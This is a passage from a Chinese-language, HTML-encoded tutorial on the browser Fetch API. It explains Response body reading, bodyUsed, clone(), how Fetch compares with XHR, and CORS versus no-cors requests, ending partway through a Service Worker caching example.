&#x5BF9;&#x8C61;&#xFF0C;&#x5F53;&#x8BFB;&#x53D6;&#x6570;&#x636E;&#x6D41;&#x5E76;&#x89E3;&#x6790;&#x5B8C;&#x6210;&#x65F6;&#xFF0C;Promise &#x5BF9;&#x8C61;&#x5C06; resolve &#x5E76;&#x540C;&#x65F6;&#x8FD4;&#x56DE;&#x89E3;&#x6790;&#x597D;&#x7684;&#x7ED3;&#x679C;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x5C06;&#x7B80;&#x5355;&#x6F14;&#x793A;&#x5982;&#x4F55;&#x8BFB;&#x53D6; JSON &#x683C;&#x5F0F;&#x7684;&#x54CD;&#x5E94;&#x4F53;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x6784;&#x9020; Response &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">let</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;lilei&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x901A;&#x8FC7; response.json() &#x8BFB;&#x53D6;&#x8BF7;&#x6C42;&#x4F53;</span>\nresponse<span class=\"token punctuation\">.</span><span class=\"token function\">json</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">data</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">.</span>name<span class=\"token punctuation\">)</span> <span class=\"token comment\">// &#x6253;&#x5370; &apos;lilei&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x7531;&#x4E8E; Response &#x7684;&#x54CD;&#x5E94;&#x4F53;&#x662F;&#x4EE5;&#x6570;&#x636E;&#x6D41;&#x7684;&#x5F62;&#x5F0F;&#x5B58;&#x5728;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x5141;&#x8BB8;&#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x8BFB;&#x53D6;&#x64CD;&#x4F5C;&#x3002;&#x901A;&#x8FC7;&#x68C0;&#x67E5; bodyUsed &#x5C5E;&#x6027;&#x53EF;&#x4EE5;&#x77E5;&#x9053;&#x5F53;&#x524D;&#x7684; Response &#x5BF9;&#x8C61;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x88AB;&#x8BFB;&#x53D6;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;lilei&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>bodyUsed<span class=\"token punctuation\">)</span> <span class=\"token comment\">// false</span>\n\nresponse<span class=\"token punctuation\">.</span><span class=\"token function\">json</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">data</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>bodyUsed<span class=\"token punctuation\">)</span> <span class=\"token comment\">// true</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x7531;&#x4E8E;&#x4E8C;&#x6B21;&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;&#x5185;&#x5BB9;&#x4F1A;&#x5BFC;&#x81F4;&#x62A5;&#x9519;&#xFF0C;&#x56E0;&#x6B64;&#x4E3A;&#x4E86;&#x4FDD;&#x9669;&#x8D77;&#x89C1;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x8FDB;&#x884C;&#x54CD;&#x5E94;&#x4F53;&#x8BFB;&#x53D6;&#x524D;&#x9996;&#x5148;&#x5224;&#x65AD; bodyUsed &#x5C5E;&#x6027;&#x518D;&#x51B3;&#x5B9A;&#x4E0B;&#x4E00;&#x6B65;&#x64CD;&#x4F5C;&#x3002;</p>\n<h4 id=\"&#x62F7;&#x8D1D;-response\"><a name=\"&#x62F7;&#x8D1D;-response\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x62F7;&#x8D1D;-response\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x62F7;&#x8D1D;-response\" class=\"plugin-anchor\" href=\"#&#x62F7;&#x8D1D;-response\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x62F7;&#x8D1D; Response</h4>\n<p>Response &#x63D0;&#x4F9B;&#x4E86; clone() &#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x5BF9; Response &#x5BF9;&#x8C61;&#x7684;&#x62F7;&#x8D1D;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> clonedResponse <span class=\"token operator\">=</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>clone() &#x662F;&#x4E00;&#x4E2A;&#x540C;&#x6B65;&#x65B9;&#x6CD5;&#xFF0C;&#x514B;&#x9686;&#x5F97;&#x5230;&#x7684;&#x65B0;&#x5BF9;&#x8C61;&#x5728;&#x6240;&#x6709;&#x65B9;&#x9762;&#x4E0E;&#x539F;&#x5BF9;&#x8C61;&#x90FD;&#x662F;&#x76F8;&#x540C;&#x7684;&#x3002;&#x5728;&#x8FD9;&#x91CC;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x5982;&#x679C; Response &#x5BF9;&#x8C61;&#x7684;&#x54CD;&#x5E94;&#x4F53;&#x5DF2;&#x7ECF;&#x88AB;&#x8BFB;&#x53D6;&#xFF0C;&#x90A3;&#x4E48;&#x5728;&#x8C03;&#x7528; clone() &#x65B9;&#x6CD5;&#x65F6;&#x4F1A;&#x62A5;&#x9519;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x5728;&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;&#x8BFB;&#x53D6;&#x524D;&#x8FDB;&#x884C;&#x514B;&#x9686;&#x64CD;&#x4F5C;&#x3002;</p>\n<h2 id=\"fetch-api-&#x4E0E;-xhr-&#x7684;&#x5BF9;&#x6BD4;\"><a name=\"fetch-api-&#x4E0E;-xhr-&#x7684;&#x5BF9;&#x6BD4;\" class=\"anchor-navigation-ex-anchor\" href=\"#fetch-api-&#x4E0E;-xhr-&#x7684;&#x5BF9;&#x6BD4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"fetch-api-&#x4E0E;-xhr-&#x7684;&#x5BF9;&#x6BD4;\" class=\"plugin-anchor\" href=\"#fetch-api-&#x4E0E;-xhr-&#x7684;&#x5BF9;&#x6BD4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Fetch API &#x4E0E; XHR &#x7684;&#x5BF9;&#x6BD4;</h2>\n<p>&#x901A;&#x8FC7;&#x4E0A;&#x9762;&#x7684;&#x4ECB;&#x7ECD;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#xFF0C;&#x4ECE;&#x529F;&#x80FD;&#x4E0A;&#x770B;&#xFF0C;Fetch API &#x548C; XHR &#x505A;&#x7684;&#x4E8B;&#x60C5;&#x90FD;&#x662F;&#x76F8;&#x4F3C;&#x7684;&#xFF0C;&#x90FD;&#x5B9E;&#x73B0;&#x4E86;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x4E0E;&#x8D44;&#x6E90;&#x83B7;&#x53D6;&#x3002;&#x4F46;&#x4ECE; API &#x7684;&#x5177;&#x4F53;&#x4F7F;&#x7528;&#x548C;&#x5B9E;&#x73B0;&#x65B9;&#x5F0F;&#x4E0A;&#xFF0C;&#x4E24;&#x8005;&#x5B58;&#x5728;&#x7740;&#x8F83;&#x5927;&#x533A;&#x522B;&#xFF1A;</p>\n<p>1.Fetch API &#x7684;&#x5F02;&#x6B65;&#x673A;&#x5236;&#x66F4;&#x4E3A;&#x5148;&#x8FDB;</p>\n<p>XHR &#x91C7;&#x7528;&#x56DE;&#x8C03;&#x673A;&#x5236;&#x5B9E;&#x73B0;&#x5F02;&#x6B65;&#xFF0C;&#x8FD9;&#x79CD;&#x673A;&#x5236;&#x4E0D;&#x592A;&#x7B26;&#x5408;&#x4EBA;&#x8111;&#x7EBF;&#x6027;&#x7684;&#x601D;&#x7EF4;&#x65B9;&#x5F0F;&#xFF0C;&#x5728;&#x8F83;&#x4E3A;&#x590D;&#x6742;&#x7684;&#x5F02;&#x6B65;&#x573A;&#x666F;&#x4E2D;&#x5982;&#x679C;&#x5B58;&#x5728;&#x5927;&#x91CF;&#x7684;&#x56DE;&#x8C03;&#xFF0C;&#x5F88;&#x5BB9;&#x6613;&#x5E26;&#x6765;&#x4EE3;&#x7801;&#x53EF;&#x8BFB;&#x6027;&#x5DEE;&#x7684;&#x95EE;&#x9898;&#x3002;&#x5F53;&#x7136;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x5229;&#x7528; Promise &#x5C06; XHR &#x5305;&#x88C5;&#x6210;&#x8FD4;&#x56DE; Promise &#x5BF9;&#x8C61;&#x7684;&#x51FD;&#x6570;&#x6765;&#x89E3;&#x51B3;&#x4E0A;&#x8FF0;&#x95EE;&#x9898;&#xFF0C;&#x4F46;&#x8FD9;&#x79CD;&#x5C01;&#x88C5;&#x7684;&#x51FD;&#x6570;&#x6BD5;&#x7ADF;&#x4E0D;&#x5982;&#x539F;&#x751F;&#x65B9;&#x6CD5;&#x6765;&#x5F97;&#x7B80;&#x6D01;&#x3002;</p>\n<p>Fetch API &#x5219;&#x76F4;&#x63A5;&#x91C7;&#x7528; Promise &#x5B9E;&#x73B0;&#x5F02;&#x6B65;&#x673A;&#x5236;&#xFF0C;&#x901A;&#x8FC7;&#x94FE;&#x5F0F;&#x8C03;&#x7528; Promise.then() &#x65B9;&#x6CD5;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x76F4;&#x63A5;&#x6309;&#x7167;&#x7EBF;&#x6027;&#x7684;&#x601D;&#x7EF4;&#x53BB;&#x7EC4;&#x7EC7;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x4E2D;&#x7684;&#x6BCF;&#x4E2A;&#x6B65;&#x9AA4;&#xFF0C;&#x540C;&#x65F6;&#x501F;&#x52A9; Promise.all&#x3001;Promise.race &#x7B49;&#x65B9;&#x6CD5;&#xFF0C;&#x8FD8;&#x80FD;&#x591F;&#x9AD8;&#x6548;&#x5730;&#x7EC4;&#x7EC7;&#x591A;&#x4E2A;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x6765;&#x5B9E;&#x73B0;&#x66F4;&#x4E3A;&#x590D;&#x6742;&#x7684;&#x529F;&#x80FD;&#x3002;</p>\n<p>2.Fetch API &#x66F4;&#x4E3A;&#x7B80;&#x6D01;</p>\n<p>&#x5728;&#x4F7F;&#x7528; XHR &#x8FDB;&#x884C;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x65F6;&#x4F1A;&#x53D1;&#x73B0;&#xFF0C;XHR &#x5B9E;&#x4F8B;&#x5C5E;&#x6027;&#x5305;&#x542B;&#x4E86;&#x8BF7;&#x6C42;&#x63CF;&#x8FF0;&#x3001;&#x54CD;&#x5E94;&#x63CF;&#x8FF0;&#xFF0C;&#x4EE5;&#x53CA;&#x5404;&#x79CD;&#x4E8B;&#x4EF6;&#x3001;&#x8BF7;&#x6C42;&#x64CD;&#x4F5C;&#x65B9;&#x6CD5;&#x7B49;&#x7B49;&#xFF0C;&#x663E;&#x5F97;&#x76F8;&#x5F53;&#x6DF7;&#x4E71;&#x3002;</p>\n<p>Fetch API &#x5728;&#x8BBE;&#x8BA1;&#x7684;&#x65F6;&#x5019;&#x4E0D;&#x4EC5;&#x4EC5;&#x5B9E;&#x73B0;&#x4E86; <code>fetch()</code> &#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x8FD8;&#x6839;&#x636E;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x4E2D;&#x6240;&#x9700;&#x8981;&#x7684;&#x6570;&#x636E;&#x683C;&#x5F0F;&#x62C6;&#x5206;&#x51FA; Request&#x3001;Response&#x3001;Headers&#x3001;Body &#x7B49;&#x4E00;&#x7CFB;&#x5217;&#x539F;&#x751F;&#x5BF9;&#x8C61;&#xFF0C;&#x5F7C;&#x6B64;&#x5404;&#x53F8;&#x5176;&#x804C;&#xFF0C;&#x7B26;&#x5408;&#x5173;&#x6CE8;&#x70B9;&#x5206;&#x79BB;&#x539F;&#x5219;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x4F7F;&#x7528;&#x4E0A;&#x4F1A;&#x663E;&#x5F97;&#x66F4;&#x52A0;&#x7B80;&#x6D01;&#xFF0C;&#x66F4;&#x52A0;&#x8BED;&#x4E49;&#x5316;&#x3002;</p>\n<p>3.Fetch API &#x7684;&#x5E94;&#x7528;&#x8303;&#x56F4;&#x66F4;&#x5E7F;</p>\n<p>&#x76EE;&#x524D; XHR &#x5DF2;&#x7ECF;&#x65E0;&#x6CD5;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x8FDB;&#x884C;&#x4F7F;&#x7528;&#xFF0C;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x5F53;&#x4E2D;&#x53D1;&#x8D77;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x7684;&#x65B9;&#x6CD5;&#x53EA;&#x6709; Fetch API&#x3002;&#x8FD9;&#x4E5F;&#x8BB8;&#x53EA;&#x662F;&#x4E2A;&#x5F00;&#x59CB;&#xFF0C;XHR &#x5728;&#x8FC7;&#x53BB;&#x5DF2;&#x7ECF;&#x5F88;&#x597D;&#x5730;&#x5B8C;&#x6210;&#x5B83;&#x7684;&#x5386;&#x53F2;&#x4F7F;&#x547D;&#xFF0C;&#x4F46;&#x7531;&#x4E8E; XHR &#x5728;&#x8BBE;&#x8BA1;&#x4E0A;&#x5DF2;&#x7ECF;&#x9010;&#x6E10;&#x4E0D;&#x9002;&#x5E94;&#x73B0;&#x4EE3;&#x7F16;&#x7A0B;&#x7406;&#x5FF5;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x672A;&#x6765; XHR &#x7684;&#x5E94;&#x7528;&#x8303;&#x56F4;&#x5C06;&#x53EF;&#x80FD;&#x4F1A;&#x53D8;&#x5F97;&#x8D8A;&#x6765;&#x8D8A;&#x7A84;&#xFF0C;&#x800C; Fetch API &#x8FD9;&#x7C7B;&#x57FA;&#x4E8E;&#x65B0;&#x7406;&#x5FF5;&#x548C;&#x65B0;&#x6280;&#x672F;&#x6240;&#x8BBE;&#x8BA1;&#x7684; API &#x5C06;&#x9010;&#x6E10;&#x53D1;&#x6325;&#x51FA;&#x8D8A;&#x6765;&#x8D8A;&#x91CD;&#x8981;&#x7684;&#x4F5C;&#x7528;&#x3002;</p>\n<h2 id=\"fetch-api-&#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;\"><a name=\"fetch-api-&#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;\" class=\"anchor-navigation-ex-anchor\" href=\"#fetch-api-&#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"fetch-api-&#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;\" class=\"plugin-anchor\" href=\"#fetch-api-&#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Fetch API &#x5904;&#x7406;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;</h2>\n<p>&#x5F53;&#x6D89;&#x53CA;&#x5230;&#x524D;&#x540E;&#x7AEF;&#x901A;&#x4FE1;&#x95EE;&#x9898;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5C31;&#x4E0D;&#x5F97;&#x4E0D;&#x63D0;&#x8BF7;&#x6C42;&#x8DE8;&#x57DF;&#x7684;&#x60C5;&#x51B5;&#x3002;&#x7531;&#x4E8E;&#x53D7;&#x5230; Web &#x540C;&#x6E90;&#x7B56;&#x7565;&#x7684;&#x5F71;&#x54CD;&#xFF0C;&#x5728;&#x4F7F;&#x7528; Fetch API &#x9ED8;&#x8BA4;&#x914D;&#x7F6E;&#x60C5;&#x51B5;&#x4E0B;&#x53D1;&#x9001;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#xFF0C;&#x4F1A;&#x53D7;&#x5230;&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;&#x9650;&#x5236;&#x800C;&#x5BFC;&#x81F4;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x901A;&#x5E38;&#x91C7;&#x7528;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x5171;&#x4EAB;&#x673A;&#x5236;&#xFF08;CORS&#xFF09;&#x6765;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x3002;&#x5728;&#x8DE8;&#x57DF;&#x670D;&#x52A1;&#x7AEF;&#x652F;&#x6301; CORS &#x7684;&#x524D;&#x63D0;&#x4E0B;&#xFF0C;&#x901A;&#x8FC7;&#x5C06; <code>fetch()</code> &#x7684;&#x8BF7;&#x6C42;&#x6A21;&#x5F0F;&#x8BBE;&#x7F6E;&#x4E3A;&#x201C;cors&#x201D;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x7B80;&#x5355;&#x5730;&#x5B9E;&#x73B0;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;&#x3002;&#x5728;&#x8FD9;&#x79CD;&#x8BF7;&#x6C42;&#x6A21;&#x5F0F;&#x4E0B;&#xFF0C;&#x8FD4;&#x56DE;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x662F;&#x5B8C;&#x5168;&#x53EF;&#x8BBF;&#x95EE;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5047;&#x8BBE;&#x5F53;&#x524D;&#x9875;&#x9762; URL &#x4E3A; https://current.com</span>\n<span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://other.com/data.json&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;cors&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>status<span class=\"token punctuation\">)</span> <span class=\"token comment\">// 200</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>type<span class=\"token punctuation\">)</span> <span class=\"token comment\">// &apos;cors&apos;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>bodyUsed<span class=\"token punctuation\">)</span> <span class=\"token comment\">// false</span>\n  <span class=\"token keyword\">return</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">json</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">data</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">.</span>name<span class=\"token punctuation\">)</span> <span class=\"token comment\">// &apos;lilei&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5BF9;&#x4E8E;&#x56FE;&#x7247;&#x3001;JS&#x3001;CSS &#x7B49;&#x7B49;&#x8FD9;&#x4E9B;&#x7C7B;&#x578B;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x5982;&#x679C;&#x901A;&#x8FC7;&#x5BF9;&#x5E94;&#x7684; HTML &#x6807;&#x7B7E;&#x52A0;&#x8F7D;&#x8FD9;&#x7C7B;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#xFF0C;&#x662F;&#x4E0D;&#x4F1A;&#x53D7;&#x5230;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x9650;&#x5236;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x4E00;&#x822C;&#x6765;&#x8BF4;&#xFF0C;&#x5B58;&#x653E;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x670D;&#x52A1;&#x5668;&#x5E76;&#x4E0D;&#x9700;&#x8981;&#x8BBE;&#x7F6E; CORS&#x3002;&#x8FD9;&#x5C31;&#x4F1A;&#x5BF9; Fetch API &#x8BF7;&#x6C42;&#x8FD9;&#x7C7B;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5E26;&#x6765;&#x5F71;&#x54CD;&#x3002;&#x5728;&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B; <code>fetch()</code> &#x7684;&#x8BF7;&#x6C42;&#x6A21;&#x5F0F;&#x4E3A;&#x201C;no-cors&#x201D;&#xFF0C;&#x5728;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x4E0B;&#x8BF7;&#x6C42;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x5E76;&#x4E0D;&#x4F1A;&#x62A5;&#x9519;&#xFF0C;&#x4F46;&#x662F;&#x8FD4;&#x56DE;&#x7684; Response &#x5BF9;&#x8C61;&#x5C06;&#x53D8;&#x5F97;&#x4E0D;&#x900F;&#x660E;&#xFF0C;type &#x5C5E;&#x6027;&#x5C06;&#x53D8;&#x6210;&#x201C;opaque&#x201D;&#xFF0C;&#x65E0;&#x8BBA;&#x670D;&#x52A1;&#x7AEF;&#x6240;&#x8FD4;&#x56DE;&#x7684;&#x771F;&#x5B9E; status &#x662F;&#x591A;&#x5C11;&#xFF0C;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#x90FD;&#x4F1A;&#x53D8;&#x6210; 0&#xFF0C;&#x5176;&#x4ED6;&#x5C5E;&#x6027;&#x4E5F;&#x90FD;&#x65E0;&#x6CD5;&#x6B63;&#x5E38;&#x8BBF;&#x95EE;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5047;&#x8BBE;&#x5F53;&#x524D;&#x9875;&#x9762; URL &#x4E3A; https://current.com</span>\n<span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://other.com/data.json&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;no-cors&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>status<span class=\"token punctuation\">)</span> <span class=\"token comment\">// 0</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>type<span class=\"token punctuation\">)</span> <span class=\"token comment\">// &apos;opaque&apos;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>headers<span class=\"token punctuation\">)</span> <span class=\"token comment\">// Headers {}</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>body<span class=\"token punctuation\">)</span> <span class=\"token comment\">// null</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6B64;&#x65F6;&#x552F;&#x4E00;&#x80FD;&#x6B63;&#x5E38;&#x5DE5;&#x4F5C;&#x7684;&#x65B9;&#x6CD5;&#x662F; clone()&#xFF0C;&#x5373;&#x5B9E;&#x73B0;&#x5BF9; Response &#x5BF9;&#x8C61;&#x7684;&#x62F7;&#x8D1D;&#xFF0C;&#x5F53;&#x7136;&#x62F7;&#x8D1D;&#x5F97;&#x5230;&#x7684;&#x65B0;&#x5BF9;&#x8C61;&#x4E5F;&#x540C;&#x6837;&#x662F;&#x4E0D;&#x900F;&#x660E;&#x7684;&#x3002;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x6BD4;&#x8F83;&#x9002;&#x7528;&#x4E8E;&#x5728; Service Worker &#x7EBF;&#x7A0B;&#x4E2D;&#x62E6;&#x622A;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5E76;&#x590D;&#x5236;&#x4E00;&#x4EFD;&#x7F13;&#x5B58;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x53EA;&#x8981;&#x5C06;&#x8FD9;&#x7C7B;&#x4E0D;&#x900F;&#x660E;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x8FD4;&#x56DE;&#x4E3B;&#x7EBF;&#x7A0B;&#xFF0C;&#x4F9D;&#x7136;&#x662F;&#x80FD;&#x591F;&#x6B63;&#x5E38;&#x5DE5;&#x4F5C;&#x7684;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x6F14;&#x793A;&#x4E86; Service Worker &#x62E6;&#x622A;&#x8DE8;&#x57DF;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x5E76;&#x5C06;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x7136;&#x540E;&#x5728; <code>fetch()</code> &#x51FA;&#x9519;&#x7684;&#x65F6;&#x5019;&#x518D;&#x4ECE;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// service-worker.js</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5224;&#x65AD;&#x5F53;&#x524D;&#x62E6;&#x622A;&#x5230;&#x7684;&#x8BF7;&#x6C42;&#x4E3A;&#x8DE8;&#x57DF;&#x56FE;&#x7247;&#x8D44;&#x6E90;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> <span class=\"token string\">&apos;https://other-site.com/pic.jpg&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    event<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>\n      <span class=\"token comment\">// &#x4F18;&#x5148;&#x53D1;&#x9001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x83B7;&#x53D6;&#x6700;&#x65B0;&#x7684;&#x8D44;&#x6E90;</span>\n      <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;no-cors&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token 